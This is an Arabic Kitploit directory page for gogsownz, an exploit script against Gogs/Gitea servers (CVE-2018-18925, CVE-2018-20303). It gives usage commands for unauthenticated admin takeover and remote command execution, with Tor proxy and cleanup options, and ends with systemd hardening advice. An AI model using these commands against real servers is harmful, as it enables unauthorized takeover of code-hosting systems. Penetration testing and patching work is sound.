Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
gogsownz — Gogs CVEs | Kitploit
أدوات/GitHubGitHub/thez3ro/gogsownz
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأداة الوصول عن بعد
GitHubthez3ro/gogsownz

gogsownz

Gogs CVEs

عرض المستودع
79154منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

GogsOwnz

GogsOwnz هو سكريبت بسيط للحصول على صلاحيات المسؤول وتنفيذ الأوامر عن بُعد (RCE) على خادم Gogs/Gitea.
يستغل الثغرات الأمنية في Gogs/Gitea، بما في ذلك CVE-2018-18925 و CVE-2018-20303.

إخلاء مسؤولية قانوني هذا السكريبت متاح كما هو. لا يوجد ضمان، استخدمه على مسؤوليتك الخاصة، يرجى الالتزام بالقانون.

الاستخدام النموذجي - [يرجى قراءة الاستخدام الكامل]

الحصول على معلومات حول خادم Gogs/Gitea الجاري

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --info

استغلال ثغرة تصعيد الصلاحيات بدون مصادقة

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth

استغلال ثغرة تصعيد الصلاحيات

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup

أو بدلاً من ذلك

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup

استغلال ثغرة تنفيذ الأوامر عن بُعد (RCE) بدون مصادقة

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup

استغلال ثغرة تنفيذ الأوامر عن بُعد (RCE) مع المصادقة

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup

الاستخدام الكامل

root@kitploit:~
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
                [--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
                [--check-tor] [--burp] [-k] [--verbose]
                url

positional arguments:
  url                   URL for the Gogs server

optional arguments:
  -h, --help            show this help message and exit
  -C CREDS, --creds CREDS
                        Credentials for the Gogs server, in the from
                        "username:password"
  -n COOKIENAME, --cookie-name COOKIENAME
                        Name of the Gogs-specific session cookie
  -c COOKIE, --cookie COOKIE
                        Session for the Gogs server, the value in the
                        i_like_gogits Cookie
  -i, --info            Only detect informations about the running Gogs
                        server, then quit
  --rce RCE             Command to execute on the Gogs server
  --repo REPO           Use an existing repo for the PrivEsc
  --preauth             Try the pre-auth vulnerability
  --windows             Gogs server runs on Windows
  --cleanup             Remove all created repo after exploit
  --tor                 Use tor proxy when performing requests
  --check-tor           Check that Tor is correctly set up before running
  --burp                Use burp proxy when performing requests
  -k, --insecure        Allow insecure server connections when using SSL
  --verbose, -v

شكر وتقدير

شكر خاص لـ:

  • Tencent Security (@md5_salt, @ma7h1as and @chromium1337)
  • PentesterLab (@snyff)
  • LuckyC4t
  • مجتمع أمان Gogs :D

قراءات إضافية

https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf

وسائل التخفيف

إذا كنت حريصًا عند إعداد ملف systemd الخاص بك، فستفاجأ بسرور عندما ترى أن الاستغلال محتوى إلى حد ما:

root@kitploit:~
[Unit]
Description=Gogs
After=syslog.target
After=network.target

[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

هذا سيبقي على الأقل الوصول إلى نظام الملفات محصورًا في نظام ملفات مؤقت تم إنشاؤه بواسطة systemd. يساعد ذلك، ولكن يجب عليك على الأرجح تصحيح ثغرة تصعيد الصلاحيات وعدم منح أي صلاحيات مسؤول.. ومن الواضح.

تنزيل الأداة